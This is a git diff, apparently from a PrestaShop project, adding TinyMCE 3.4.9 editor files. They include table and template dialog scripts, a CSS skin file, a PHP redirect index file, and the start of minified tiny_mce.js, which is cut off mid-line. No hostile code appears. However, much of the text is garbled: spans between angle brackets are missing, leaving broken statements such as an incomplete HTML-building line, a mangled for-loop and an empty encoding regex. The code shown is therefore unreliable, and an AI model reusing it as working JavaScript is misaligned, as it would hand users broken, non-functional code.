capEl.parentNode.removeChild(capEl); + + if (!capEl && caption) { + capEl = elm.ownerDocument.createElement('caption'); + + if (!tinymce.isIE) + capEl.innerHTML = '
    '; + + elm.insertBefore(capEl, elm.firstChild); + } + + if (width && inst.settings.inline_styles) { + dom.setStyle(elm, 'width', width); + dom.setAttrib(elm, 'width', ''); + } else { + dom.setAttrib(elm, 'width', width, true); + dom.setStyle(elm, 'width', ''); + } + + // Remove these since they are not valid XHTML + dom.setAttrib(elm, 'borderColor', ''); + dom.setAttrib(elm, 'bgColor', ''); + dom.setAttrib(elm, 'background', ''); + + if (height && inst.settings.inline_styles) { + dom.setStyle(elm, 'height', height); + dom.setAttrib(elm, 'height', ''); + } else { + dom.setAttrib(elm, 'height', height, true); + dom.setStyle(elm, 'height', ''); + } + + if (background != '') + elm.style.backgroundImage = "url('" + background + "')"; + else + elm.style.backgroundImage = ''; + +/* if (tinyMCEPopup.getParam("inline_styles")) { + if (width != '') + elm.style.width = getCSSSize(width); + }*/ + + if (bordercolor != "") { + elm.style.borderColor = bordercolor; + elm.style.borderStyle = elm.style.borderStyle == "" ? "solid" : elm.style.borderStyle; + elm.style.borderWidth = cssSize(border); + } else + elm.style.borderColor = ''; + + elm.style.backgroundColor = bgcolor; + elm.style.height = getCSSSize(height); + + inst.addVisual(); + + // Fix for stange MSIE align bug + //elm.outerHTML = elm.outerHTML; + + inst.nodeChanged(); + inst.execCommand('mceEndUndoLevel', false, {}, {skip_undo: true}); + + // Repaint if dimensions changed + if (formObj.width.value != orgTableWidth || formObj.height.value != orgTableHeight) + inst.execCommand('mceRepaint'); + + tinyMCEPopup.close(); + return true; + } + + // Create new table + html += ''); + + tinymce.each('h1,h2,h3,h4,h5,h6,p'.split(','), function(n) { + if (patt) + patt += ','; + + patt += n + ' ._mce_marker'; + }); + + tinymce.each(inst.dom.select(patt), function(n) { + inst.dom.split(inst.dom.getParent(n, 'h1,h2,h3,h4,h5,h6,p'), n); + }); + + dom.setOuterHTML(dom.select('br._mce_marker')[0], html); + } else + inst.execCommand('mceInsertContent', false, html); + + tinymce.each(dom.select('table[data-mce-new]'), function(node) { + // Fixes a bug in IE where the caret cannot be placed after the table if the table is at the end of the document + if (tinymce.isIE && node.nextSibling == null) { + dom.insertAfter(dom.create('p'), node); + } + + var tdorth = dom.select('td,th', node); + try { + // IE9 might fail to do this selection + inst.selection.setCursorLocation(tdorth[0], 0); + } catch (ex) { + // Ignore + } + + dom.setAttrib(node, 'data-mce-new', ''); + }); + + inst.addVisual(); + inst.execCommand('mceEndUndoLevel', false, {}, {skip_undo: true}); + + tinyMCEPopup.close(); +} + +function makeAttrib(attrib, value) { + var formObj = document.forms[0]; + var valueElm = formObj.elements[attrib]; + + if (typeof(value) == "undefined" || value == null) { + value = ""; + + if (valueElm) + value = valueElm.value; + } + + if (value == "") + return ""; + + // XML encode it + value = value.replace(/&/g, '&'); + value = value.replace(/\"/g, '"'); + value = value.replace(//g, '>'); + + return ' ' + attrib + '="' + value + '"'; +} + +function init() { + tinyMCEPopup.resizeToInnerSize(); + + document.getElementById('backgroundimagebrowsercontainer').innerHTML = getBrowserHTML('backgroundimagebrowser','backgroundimage','image','table'); + document.getElementById('backgroundimagebrowsercontainer').innerHTML = getBrowserHTML('backgroundimagebrowser','backgroundimage','image','table'); + document.getElementById('bordercolor_pickcontainer').innerHTML = getColorPickerHTML('bordercolor_pick','bordercolor'); + document.getElementById('bgcolor_pickcontainer').innerHTML = getColorPickerHTML('bgcolor_pick','bgcolor'); + + var cols = 2, rows = 2, border = tinyMCEPopup.getParam('table_default_border', '0'), cellpadding = tinyMCEPopup.getParam('table_default_cellpadding', ''), cellspacing = tinyMCEPopup.getParam('table_default_cellspacing', ''); + var align = "", width = "", height = "", bordercolor = "", bgcolor = "", className = ""; + var id = "", summary = "", style = "", dir = "", lang = "", background = "", bgcolor = "", bordercolor = "", rules = "", frame = ""; + var inst = tinyMCEPopup.editor, dom = inst.dom; + var formObj = document.forms[0]; + var elm = dom.getParent(inst.selection.getNode(), "table"); + + action = tinyMCEPopup.getWindowArg('action'); + + if (!action) + action = elm ? "update" : "insert"; + + if (elm && action != "insert") { + var rowsAr = elm.rows; + var cols = 0; + for (var i=0; i cols) + cols = rowsAr[i].cells.length; + + cols = cols; + rows = rowsAr.length; + + st = dom.parseStyle(dom.getAttrib(elm, "style")); + border = trimSize(getStyle(elm, 'border', 'borderWidth')); + cellpadding = dom.getAttrib(elm, 'cellpadding', ""); + cellspacing = dom.getAttrib(elm, 'cellspacing', ""); + width = trimSize(getStyle(elm, 'width', 'width')); + height = trimSize(getStyle(elm, 'height', 'height')); + bordercolor = convertRGBToHex(getStyle(elm, 'bordercolor', 'borderLeftColor')); + bgcolor = convertRGBToHex(getStyle(elm, 'bgcolor', 'backgroundColor')); + align = dom.getAttrib(elm, 'align', align); + frame = dom.getAttrib(elm, 'frame'); + rules = dom.getAttrib(elm, 'rules'); + className = tinymce.trim(dom.getAttrib(elm, 'class').replace(/mceItem.+/g, '')); + id = dom.getAttrib(elm, 'id'); + summary = dom.getAttrib(elm, 'summary'); + style = dom.serializeStyle(st); + dir = dom.getAttrib(elm, 'dir'); + lang = dom.getAttrib(elm, 'lang'); + background = getStyle(elm, 'background', 'backgroundImage').replace(new RegExp("url\\(['\"]?([^'\"]*)['\"]?\\)", 'gi'), "$1"); + formObj.caption.checked = elm.getElementsByTagName('caption').length > 0; + + orgTableWidth = width; + orgTableHeight = height; + + action = "update"; + formObj.insert.value = inst.getLang('update'); + } + + addClassesToList('class', "table_styles"); + TinyMCE_EditableSelects.init(); + + // Update form + selectByValue(formObj, 'align', align); + selectByValue(formObj, 'tframe', frame); + selectByValue(formObj, 'rules', rules); + selectByValue(formObj, 'class', className, true, true); + formObj.cols.value = cols; + formObj.rows.value = rows; + formObj.border.value = border; + formObj.cellpadding.value = cellpadding; + formObj.cellspacing.value = cellspacing; + formObj.width.value = width; + formObj.height.value = height; + formObj.bordercolor.value = bordercolor; + formObj.bgcolor.value = bgcolor; + formObj.id.value = id; + formObj.summary.value = summary; + formObj.style.value = style; + formObj.dir.value = dir; + formObj.lang.value = lang; + formObj.backgroundimage.value = background; + + updateColor('bordercolor_pick', 'bordercolor'); + updateColor('bgcolor_pick', 'bgcolor'); + + // Resize some elements + if (isVisible('backgroundimagebrowser')) + document.getElementById('backgroundimage').style.width = '180px'; + + // Disable some fields in update mode + if (action == "update") { + formObj.cols.disabled = true; + formObj.rows.disabled = true; + } +} + +function changedSize() { + var formObj = document.forms[0]; + var st = dom.parseStyle(formObj.style.value); + +/* var width = formObj.width.value; + if (width != "") + st['width'] = tinyMCEPopup.getParam("inline_styles") ? getCSSSize(width) : ""; + else + st['width'] = "";*/ + + var height = formObj.height.value; + if (height != "") + st['height'] = getCSSSize(height); + else + st['height'] = ""; + + formObj.style.value = dom.serializeStyle(st); +} + +function isCssSize(value) { + return /^[0-9.]+(%|in|cm|mm|em|ex|pt|pc|px)$/.test(value); +} + +function cssSize(value, def) { + value = tinymce.trim(value || def); + + if (!isCssSize(value)) { + return parseInt(value, 10) + 'px'; + } + + return value; +} + +function changedBackgroundImage() { + var formObj = document.forms[0]; + var st = dom.parseStyle(formObj.style.value); + + st['background-image'] = "url('" + formObj.backgroundimage.value + "')"; + + formObj.style.value = dom.serializeStyle(st); +} + +function changedBorder() { + var formObj = document.forms[0]; + var st = dom.parseStyle(formObj.style.value); + + // Update border width if the element has a color + if (formObj.border.value != "" && (isCssSize(formObj.border.value) || formObj.bordercolor.value != "")) + st['border-width'] = cssSize(formObj.border.value); + else { + if (!formObj.border.value) { + st['border'] = ''; + st['border-width'] = ''; + } + } + + formObj.style.value = dom.serializeStyle(st); +} + +function changedColor() { + var formObj = document.forms[0]; + var st = dom.parseStyle(formObj.style.value); + + st['background-color'] = formObj.bgcolor.value; + + if (formObj.bordercolor.value != "") { + st['border-color'] = formObj.bordercolor.value; + + // Add border-width if it's missing + if (!st['border-width']) + st['border-width'] = cssSize(formObj.border.value, 1); + } + + formObj.style.value = dom.serializeStyle(st); +} + +function changedStyle() { + var formObj = document.forms[0]; + var st = dom.parseStyle(formObj.style.value); + + if (st['background-image']) + formObj.backgroundimage.value = st['background-image'].replace(new RegExp("url\\(['\"]?([^'\"]*)['\"]?\\)", 'gi'), "$1"); + else + formObj.backgroundimage.value = ''; + + if (st['width']) + formObj.width.value = trimSize(st['width']); + + if (st['height']) + formObj.height.value = trimSize(st['height']); + + if (st['background-color']) { + formObj.bgcolor.value = st['background-color']; + updateColor('bgcolor_pick','bgcolor'); + } + + if (st['border-color']) { + formObj.bordercolor.value = st['border-color']; + updateColor('bordercolor_pick','bordercolor'); + } +} + +tinyMCEPopup.onInit.add(init); diff --git a/js/tiny_mce2/themes/advanced/skins/o2k7/template.css b/js/tiny_mce2/themes/advanced/skins/o2k7/template.css new file mode 100755 index 0000000..0a03f2e --- /dev/null +++ b/js/tiny_mce2/themes/advanced/skins/o2k7/template.css @@ -0,0 +1,23 @@ +#frmbody { + padding: 10px; + background-color: #FFF; + border: 1px solid #CCC; +} + +.frmRow { + margin-bottom: 10px; +} + +#templatesrc { + border: none; + width: 320px; + height: 240px; +} + +.title { + padding-bottom: 5px; +} + +.mceActionPanel { + padding-top: 5px; +} diff --git a/js/tiny_mce2/themes/advanced/skins/o2k7/template.js b/js/tiny_mce2/themes/advanced/skins/o2k7/template.js new file mode 100755 index 0000000..673395a --- /dev/null +++ b/js/tiny_mce2/themes/advanced/skins/o2k7/template.js @@ -0,0 +1,106 @@ +tinyMCEPopup.requireLangPack(); + +var TemplateDialog = { + preInit : function() { + var url = tinyMCEPopup.getParam("template_external_list_url"); + + if (url != null) + document.write(''); + }, + + init : function() { + var ed = tinyMCEPopup.editor, tsrc, sel, x, u; + + tsrc = ed.getParam("template_templates", false); + sel = document.getElementById('tpath'); + + // Setup external template list + if (!tsrc && typeof(tinyMCETemplateList) != 'undefined') { + for (x=0, tsrc = []; x'); + }); + }, + + selectTemplate : function(u, ti) { + var d = window.frames['templatesrc'].document, x, tsrc = this.tsrc; + + if (!u) + return; + + d.body.innerHTML = this.templateHTML = this.getFileContents(u); + + for (x=0; x + + {#advanced_dlg.code_title} + + + + +
    +
    + +
    + +
    + +
    + + + +
    + + +
    +
    + + diff --git a/js/tiny_mce2/themes/index.php b/js/tiny_mce2/themes/index.php new file mode 100755 index 0000000..319128b --- /dev/null +++ b/js/tiny_mce2/themes/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/js/tiny_mce2/tiny_mce.js b/js/tiny_mce2/tiny_mce.js new file mode 100755 index 0000000..573e669 --- /dev/null +++ b/js/tiny_mce2/tiny_mce.js @@ -0,0 +1 @@ +(function(d){var a=/^\s*|\s*$/g,e,c="B".replace(/A(.)|B/,"$1")==="$1";var b={majorVersion:"3",minorVersion:"4.9",releaseDate:"2012-02-23",_init:function(){var s=this,q=document,o=navigator,g=o.userAgent,m,f,l,k,j,r;s.isOpera=d.opera&&opera.buildNumber;s.isWebKit=/WebKit/.test(g);s.isIE=!s.isWebKit&&!s.isOpera&&(/MSIE/gi).test(g)&&(/Explorer/gi).test(o.appName);s.isIE6=s.isIE&&/MSIE [56]/.test(g);s.isIE7=s.isIE&&/MSIE [7]/.test(g);s.isIE8=s.isIE&&/MSIE [8]/.test(g);s.isIE9=s.isIE&&/MSIE [9]/.test(g);s.isGecko=!s.isWebKit&&/Gecko/.test(g);s.isMac=g.indexOf("Mac")!=-1;s.isAir=/adobeair/i.test(g);s.isIDevice=/(iPad|iPhone)/.test(g);s.isIOS5=s.isIDevice&&g.match(/AppleWebKit\/(\d*)/)[1]>=534;if(d.tinyMCEPreInit){s.suffix=tinyMCEPreInit.suffix;s.baseURL=tinyMCEPreInit.base;s.query=tinyMCEPreInit.query;return}s.suffix="";f=q.getElementsByTagName("base");for(m=0;m0?d:[g.scope]);if(f===false){break}}return f}});(function(){var a=tinymce.each;tinymce.create("tinymce.util.URI",{URI:function(e,g){var f=this,i,d,c,h;e=tinymce.trim(e);g=f.settings=g||{};if(/^([\w\-]+):([^\/]{2})/i.test(e)||/^\s*#/.test(e)){f.source=e;return}if(e.indexOf("/")===0&&e.indexOf("//")!==0){e=(g.base_uri?g.base_uri.protocol||"http":"http")+"://mce_host"+e}if(!/^[\w-]*:?\/\//.test(e)){h=g.base_uri?g.base_uri.path:new tinymce.util.URI(location.href).directory;e=((g.base_uri&&g.base_uri.protocol)||"http")+"://mce_host"+f.toAbsPath(h,e)}e=e.replace(/@@/g,"(mce_at)");e=/^(?:(?![^:@]+:[^:@\/]*@)([^:\/?#.]+):)?(?:\/\/)?((?:(([^:@\/]*):?([^:@\/]*))?@)?([^:\/?#]*)(?::(\d*))?)(((\/(?:[^?#](?![^?#\/]*\.[^?#\/.]+(?:[?#]|$)))*\/?)?([^?#\/]*))(?:\?([^#]*))?(?:#(.*))?)/.exec(e);a(["source","protocol","authority","userInfo","user","password","host","port","relative","path","directory","file","query","anchor"],function(b,j){var k=e[j];if(k){k=k.replace(/\(mce_at\)/g,"@@")}f[b]=k});if(c=g.base_uri){if(!f.protocol){f.protocol=c.protocol}if(!f.userInfo){f.userInfo=c.userInfo}if(!f.port&&f.host=="mce_host"){f.port=c.port}if(!f.host||f.host=="mce_host"){f.host=c.host}f.source=""}},setPath:function(c){var b=this;c=/^(.*?)\/?(\w+)?$/.exec(c);b.path=c[0];b.directory=c[1];b.file=c[2];b.source="";b.getURI()},toRelative:function(b){var c=this,d;if(b==="./"){return b}b=new tinymce.util.URI(b,{base_uri:c});if((b.host!="mce_host"&&c.host!=b.host&&b.host)||c.port!=b.port||c.protocol!=b.protocol){return b.getURI()}d=c.toRelPath(c.path,b.path);if(b.query){d+="?"+b.query}if(b.anchor){d+="#"+b.anchor}return d},toAbsolute:function(b,c){var b=new tinymce.util.URI(b,{base_uri:this});return b.getURI(this.host==b.host&&this.protocol==b.protocol?c:0)},toRelPath:function(g,h){var c,f=0,d="",e,b;g=g.substring(0,g.lastIndexOf("/"));g=g.split("/");c=h.split("/");if(g.length>=c.length){for(e=0,b=g.length;e=c.length||g[e]!=c[e]){f=e+1;break}}}if(g.length=g.length||g[e]!=c[e]){f=e+1;break}}}if(f==1){return h}for(e=0,b=g.length-(f-1);e=0;c--){if(f[c].length==0||f[c]=="."){continue}if(f[c]==".."){b++;continue}if(b>0){b--;continue}h.push(f[c])}c=e.length-b;if(c<=0){g=h.reverse().join("/")}else{g=e.slice(0,c).join("/")+"/"+h.reverse().join("/")}if(g.indexOf("/")!==0){g="/"+g}if(d&&g.lastIndexOf("/")!==g.length-1){g+=d}return g},getURI:function(d){var c,b=this;if(!b.source||d){c="";if(!d){if(b.protocol){c+=b.protocol+"://"}if(b.userInfo){c+=b.userInfo+"@"}if(b.host){c+=b.host}if(b.port){c+=":"+b.port}}if(b.path){c+=b.path}if(b.query){c+="?"+b.query}if(b.anchor){c+="#"+b.anchor}b.source=c}return b.source}})})();(function(){var a=tinymce.each;tinymce.create("static tinymce.util.Cookie",{getHash:function(d){var b=this.get(d),c;if(b){a(b.split("&"),function(e){e=e.split("=");c=c||{};c[unescape(e[0])]=unescape(e[1])})}return c},setHash:function(j,b,g,f,i,c){var h="";a(b,function(e,d){h+=(!h?"":"&")+escape(d)+"="+escape(e)});this.set(j,h,g,f,i,c)},get:function(i){var h=document.cookie,g,f=i+"=",d;if(!h){return}d=h.indexOf("; "+f);if(d==-1){d=h.indexOf(f);if(d!=0){return null}}else{d+=2}g=h.indexOf(";",d);if(g==-1){g=h.length}return unescape(h.substring(d+f.length,g))},set:function(i,b,g,f,h,c){document.cookie=i+"="+escape(b)+((g)?"; expires="+g.toGMTString():"")+((f)?"; path="+escape(f):"")+((h)?"; domain="+h:"")+((c)?"; secure":"")},remove:function(e,b){var c=new Date();c.setTime(c.getTime()-1000);this.set(e,"",c,b,c)}})})();(function(){function serialize(o,quote){var i,v,t;quote=quote||'"';if(o==null){return"null"}t=typeof o;if(t=="string"){v="\bb\tt\nn\ff\rr\"\"''\\\\";return quote+o.replace(/([\u0080-\uFFFF\x00-\x1f\"\'\\])/g,function(a,b){if(quote==='"'&&a==="'"){return a}i=v.indexOf(b);if(i+1){return"\\"+v.charAt(i+1)}a=b.charCodeAt().toString(16);return"\\u"+"0000".substring(a.length)+a})+quote}if(t=="object"){if(o.hasOwnProperty&&o instanceof Array){for(i=0,v="[";i0?",":"")+serialize(o[i],quote)}return v+"]"}v="{";for(i in o){if(o.hasOwnProperty(i)){v+=typeof o[i]!="function"?(v.length>1?","+quote:quote)+i+quote+":"+serialize(o[i],quote):""}}return v+"}"}return""+o}tinymce.util.JSON={serialize:serialize,parse:function(s){try{return eval("("+s+")")}catch(ex){}}}})();tinymce.create("static tinymce.util.XHR",{send:function(g){var a,e,b=window,h=0;g.scope=g.scope||this;g.success_scope=g.success_scope||g.scope;g.error_scope=g.error_scope||g.scope;g.async=g.async===false?false:true;g.data=g.data||"";function d(i){a=0;try{a=new ActiveXObject(i)}catch(c){}return a}a=b.XMLHttpRequest?new XMLHttpRequest():d("Microsoft.XMLHTTP")||d("Msxml2.XMLHTTP");if(a){if(a.overrideMimeType){a.overrideMimeType(g.content_type)}a.open(g.type||(g.data?"POST":"GET"),g.url,g.async);if(g.content_type){a.setRequestHeader("Content-Type",g.content_type)}a.setRequestHeader("X-Requested-With","XMLHttpRequest");a.send(g.data);function f(){if(!g.async||a.readyState==4||h++>10000){if(g.success&&h<10000&&a.status==200){g.success.call(g.success_scope,""+a.responseText,a,g)}else{if(g.error){g.error.call(g.error_scope,h>10000?"TIMED_OUT":"GENERAL",a,g)}}a=null}else{b.setTimeout(f,10)}}if(!g.async){return f()}e=b.setTimeout(f,10)}}});(function(){var c=tinymce.extend,b=tinymce.util.JSON,a=tinymce.util.XHR;tinymce.create("tinymce.util.JSONRequest",{JSONRequest:function(d){this.settings=c({},d);this.count=0},send:function(f){var e=f.error,d=f.success;f=c(this.settings,f);f.success=function(h,g){h=b.parse(h);if(typeof(h)=="undefined"){h={error:"JSON Parse error."}}if(h.error){e.call(f.error_scope||f.scope,h.error,g)}else{d.call(f.success_scope||f.scope,h.result)}};f.error=function(h,g){if(e){e.call(f.error_scope||f.scope,h,g)}};f.data=b.serialize({id:f.id||"c"+(this.count++),method:f.method,params:f.params});f.content_type="application/json";a.send(f)},"static":{sendRPC:function(d){return new tinymce.util.JSONRequest().send(d)}}})}());(function(a){a.VK={DELETE:46,BACKSPACE:8,ENTER:13,TAB:9,SPACEBAR:32,UP:38,DOWN:40,modifierPressed:function(b){return b.shiftKey||b.ctrlKey||b.altKey}}})(tinymce);(function(l){var j=l.VK,k=j.BACKSPACE,h=j.DELETE;function c(n){var p=n.dom,o=n.selection;n.onKeyDown.add(function(r,v){var q,x,t,u,s;s=v.keyCode==h;if((s||v.keyCode==k)&&!j.modifierPressed(v)){v.preventDefault();q=o.getRng();x=p.getParent(q.startContainer,p.isBlock);if(s){x=p.getNext(x,p.isBlock)}if(x){t=x.firstChild;while(t&&t.nodeType==3&&t.nodeValue.length==0){t=t.nextSibling}if(t&&t.nodeName==="SPAN"){u=t.cloneNode(false)}}r.getDoc().execCommand(s?"ForwardDelete":"Delete",false,null);x=p.getParent(q.startContainer,p.isBlock);l.each(p.select("span.Apple-style-span,font.Apple-style-span",x),function(y){var z=o.getBookmark();if(u){p.replace(u.cloneNode(false),y,true)}else{p.remove(y,true)}o.moveToBookmark(z)})}})}function d(n){function o(r){var q=n.dom.create("body");var s=r.cloneContents();q.appendChild(s);return n.selection.serializer.serialize(q,{format:"html"})}function p(q){var s=o(q);var t=n.dom.createRng();t.selectNode(n.getBody());var r=o(t);return s===r}n.onKeyDown.addToTop(function(r,t){var s=t.keyCode;if(s==h||s==k){var q=r.selection.getRng(true);if(!q.collapsed&&p(q)){r.setContent("",{format:"raw"});r.nodeChanged();t.preventDefault()}}})}function b(n){n.dom.bind(n.getDoc(),"focusin",function(){n.selection.setRng(n.selection.getRng())})}function e(n){n.onKeyDown.add(function(o,r){if(r.keyCode===k){if(o.selection.isCollapsed()&&o.selection.getRng(true).startOffset===0){var q=o.selection.getNode();var p=q.previousSibling;if(p&&p.nodeName&&p.nodeName.toLowerCase()==="hr"){o.dom.remove(p);l.dom.Event.cancel(r)}}}})}function g(n){if(!Range.prototype.getClientRects){n.onMouseDown.add(function(p,q){if(q.target.nodeName==="HTML"){var o=p.getBody();o.blur();setTimeout(function(){o.focus()},0)}})}}function f(n){n.onClick.add(function(o,p){p=p.target;if(/^(IMG|HR)$/.test(p.nodeName)){o.selection.getSel().setBaseAndExtent(p,0,p,1)}if(p.nodeName=="A"&&o.dom.hasClass(p,"mceItemAnchor")){o.selection.select(p)}o.nodeChanged()})}function i(n){n.onKeyDown.add(function(o,p){function q(r){var s=r.selection.getNode();var t="h1,h2,h3,h4,h5,h6";return r.dom.is(s,t)||r.dom.getParent(s,t)!==null}if(p.keyCode===j.ENTER&&!j.modifierPressed(p)&&q(o)){setTimeout(function(){var r=o.selection.getNode();if(o.dom.is(r,"p")){o.dom.setAttrib(r,"style",null);o.execCommand("mceCleanup")}},0)}})}function m(n){var p,o;n.dom.bind(n.getDoc(),"selectionchange",function(){if(o){clearTimeout(o);o=0}o=window.setTimeout(function(){var q=n.selection.getRng();if(!p||!l.dom.RangeUtils.compareRanges(q,p)){n.nodeChanged();p=q}},50)})}function a(n){document.body.setAttribute("role","application")}l.create("tinymce.util.Quirks",{Quirks:function(n){if(l.isWebKit){c(n);d(n);b(n);f(n);if(l.isIDevice){m(n)}}if(l.isIE){e(n);d(n);a(n);i(n)}if(l.isGecko){e(n);g(n)}}})})(tinymce);(function(j){var a,g,d,k=/[&<>\"\u007E-\uD7FF\uE000-\uFFEF]|[\uD800-\uDBFF][\uDC00-\uDFFF]/g,b=/[<>&\u007E-\uD7FF\uE000-\uFFEF]|[\uD800-\uDBFF][\uDC00-\uDFFF]/g,f=/[<>&\"\']/g,c=/&(#x|#)?([\w]+);/g,i={128:"\u20AC",130:"\u201A",131:"\u0192",132:"\u201E",133:"\u2026",134:"\u2020",135:"\u2021",136:"\u02C6",137:"\u2030",138:"\u0160",139:"\u2039",140:"\u0152",142:"\u017D",145:"\u2018",146:"\u2019",147:"\u201C",148:"\u201D",149:"\u2022",150:"\u2013",151:"\u2014",152:"\u02DC",153:"\u2122",154:"\u0161",155:"\u203A",156:"\u0153",158:"\u017E",159:"\u0178"};g={'"':""","'":"'","<":"<",">":">","&":"&"};d={"<":"<",">":">","&":"&",""":'"',"'":"'"};function h(l){var m;m=document.createElement("div");m.innerHTML=l;return m.textContent||m.innerText||l}function e(m,p){var n,o,l,q={};if(m){m=m.split(",");p=p||10;for(n=0;n1){return"&#"+(((n.charCodeAt(0)-55296)*1024)+(n.charCodeAt(1)-56320)+65536)+";"}return g[n]||"&#"+n.charCodeAt(0)+";"})},encodeNamed:function(n,l,m){m=m||a;return n.replace(l?k:b,function(o){return g[o]||m[o]||o})},getEncodeFunc:function(l,o){var p=j.html.Entities;o=e(o)||a;function m(r,q){return r.replace(q?k:b,function(s){return g[s]||o[s]||"&#"+s.charCodeAt(0)+";"||s})}function n(r,q){return p.encodeNamed(r,q,o)}l=j.makeMap(l.replace(/\+/g,","));if(l.named&&l.numeric){return m}if(l.named){if(o){return n}return p.encodeNamed}if(l.numeric){return p.encodeNumeric}return p.encodeRaw},decode:function(l){return l.replace(c,function(n,m,o){if(m){o=parseInt(o,m.length===2?16:10);if(o>65535){o-=65536;return String.fromCharCode(55296+(o>>10),56320+(o&1023))}else{return i[o]||String.fromCharCode(o)}}return d[n]||a[n]||h(n)})}}})(tinymce);tinymce.html.Styles=function(d,f){var k=/rgb\s*\(\s*([0-9]+)\s*,\s*([0-9]+)\s*,\s*([0-9]+)\s*\)/gi,h=/(?:url(?:(?:\(\s*\"([^\"]+)\"\s*\))|(?:\(\s*\'([^\']+)\'\s*\))|(?:\(\s*([^)\s]+)\s*\))))|(?:\'([^\']+)\')|(?:\"([^\"]+)\")/gi,b=/\s*([^:]+):\s*([^;]+);?/g,l=/\s+$/,m=/rgb/,e,g,a={},j;d=d||{};j="\\\" \\' \\; \\: ; : \uFEFF".split(" ");for(g=0;g1?r:"0"+r}return"#"+o(q)+o(p)+o(i)}return{toHex:function(i){return i.replace(k,c)},parse:function(r){var y={},p,n,v,q,u=d.url_converter,x=d.url_converter_scope||this;function o(C,F){var E,B,A,D;E=y[C+"-top"+F];if(!E){return}B=y[C+"-right"+F];if(E!=B){return}A=y[C+"-bottom"+F];if(B!=A){return}D=y[C+"-left"+F];if(A!=D){return}y[C+F]=D;delete y[C+"-top"+F];delete y[C+"-right"+F];delete y[C+"-bottom"+F];delete y[C+"-left"+F]}function t(B){var C=y[B],A;if(!C||C.indexOf(" ")<0){return}C=C.split(" ");A=C.length;while(A--){if(C[A]!==C[0]){return false}}y[B]=C[0];return true}function z(C,B,A,D){if(!t(B)){return}if(!t(A)){return}if(!t(D)){return}y[C]=y[B]+" "+y[A]+" "+y[D];delete y[B];delete y[A];delete y[D]}function s(A){q=true;return a[A]}function i(B,A){if(q){B=B.replace(/\uFEFF[0-9]/g,function(C){return a[C]})}if(!A){B=B.replace(/\\([\'\";:])/g,"$1")}return B}if(r){r=r.replace(/\\[\"\';:\uFEFF]/g,s).replace(/\"[^\"]+\"|\'[^\']+\'/g,function(A){return A.replace(/[;:]/g,s)});while(p=b.exec(r)){n=p[1].replace(l,"").toLowerCase();v=p[2].replace(l,"");if(n&&v.length>0){if(n==="font-weight"&&v==="700"){v="bold"}else{if(n==="color"||n==="background-color"){v=v.toLowerCase()}}v=v.replace(k,c);v=v.replace(h,function(B,A,E,D,F,C){F=F||C;if(F){F=i(F);return"'"+F.replace(/\'/g,"\\'")+"'"}A=i(A||E||D);if(u){A=u.call(x,A,"style")}return"url('"+A.replace(/\'/g,"\\'")+"')"});y[n]=q?i(v,true):v}b.lastIndex=p.index+p[0].length}o("border","");o("border","-width");o("border","-color");o("border","-style");o("padding","");o("margin","");z("border","border-width","border-style","border-color");if(y.border==="medium none"){delete y.border}}return y},serialize:function(p,r){var o="",n,q;function i(t){var x,u,s,v;x=f.styles[t];if(x){for(u=0,s=x.length;u0){o+=(o.length>0?" ":"")+t+": "+v+";"}}}}if(r&&f&&f.styles){i("*");i(r)}else{for(n in p){q=p[n];if(q!==e&&q.length>0){o+=(o.length>0?" ":"")+n+": "+q+";"}}}return o}}};(function(m){var h={},j,l,g,f,c={},b,e,d=m.makeMap,k=m.each;function i(o,n){return o.split(n||",")}function a(r,q){var o,p={};function n(s){return s.replace(/[A-Z]+/g,function(t){return n(r[t])})}for(o in r){if(r.hasOwnProperty(o)){r[o]=n(r[o])}}n(q).replace(/#/g,"#text").replace(/(\w+)\[([^\]]+)\]\[([^\]]*)\]/g,function(v,t,s,u){s=i(s,"|");p[t]={attributes:d(s),attributesOrder:s,children:d(u,"|",{"#comment":{}})}});return p}l="h1,h2,h3,h4,h5,h6,hr,p,div,address,pre,form,table,tbody,thead,tfoot,th,tr,td,li,ol,ul,caption,blockquote,center,dl,dt,dd,dir,fieldset,noscript,menu,isindex,samp,header,footer,article,section,hgroup";l=d(l,",",d(l.toUpperCase()));h=a({Z:"H|K|N|O|P",Y:"X|form|R|Q",ZG:"E|span|width|align|char|charoff|valign",X:"p|T|div|U|W|isindex|fieldset|table",ZF:"E|align|char|charoff|valign",W:"pre|hr|blockquote|address|center|noframes",ZE:"abbr|axis|headers|scope|rowspan|colspan|align|char|charoff|valign|nowrap|bgcolor|width|height",ZD:"[E][S]",U:"ul|ol|dl|menu|dir",ZC:"p|Y|div|U|W|table|br|span|bdo|object|applet|img|map|K|N|Q",T:"h1|h2|h3|h4|h5|h6",ZB:"X|S|Q",S:"R|P",ZA:"a|G|J|M|O|P",R:"a|H|K|N|O",Q:"noscript|P",P:"ins|del|script",O:"input|select|textarea|label|button",N:"M|L",M:"em|strong|dfn|code|q|samp|kbd|var|cite|abbr|acronym",L:"sub|sup",K:"J|I",J:"tt|i|b|u|s|strike",I:"big|small|font|basefont",H:"G|F",G:"br|span|bdo",F:"object|applet|img|map|iframe",E:"A|B|C",D:"accesskey|tabindex|onfocus|onblur",C:"onclick|ondblclick|onmousedown|onmouseup|onmouseover|onmousemove|onmouseout|onkeypress|onkeydown|onkeyup",B:"lang|xml:lang|dir",A:"id|class|style|title"},"script[id|charset|type|language|src|defer|xml:space][]style[B|id|type|media|title|xml:space][]object[E|declare|classid|codebase|data|type|codetype|archive|standby|width|height|usemap|name|tabindex|align|border|hspace|vspace][#|param|Y]param[id|name|value|valuetype|type][]p[E|align][#|S]a[E|D|charset|type|name|href|hreflang|rel|rev|shape|coords|target][#|Z]br[A|clear][]span[E][#|S]bdo[A|C|B][#|S]applet[A|codebase|archive|code|object|alt|name|width|height|align|hspace|vspace][#|param|Y]h1[E|align][#|S]img[E|src|alt|name|longdesc|width|height|usemap|ismap|align|border|hspace|vspace][]map[B|C|A|name][X|form|Q|area]h2[E|align][#|S]iframe[A|longdesc|name|src|frameborder|marginwidth|marginheight|scrolling|align|width|height][#|Y]h3[E|align][#|S]tt[E][#|S]i[E][#|S]b[E][#|S]u[E][#|S]s[E][#|S]strike[E][#|S]big[E][#|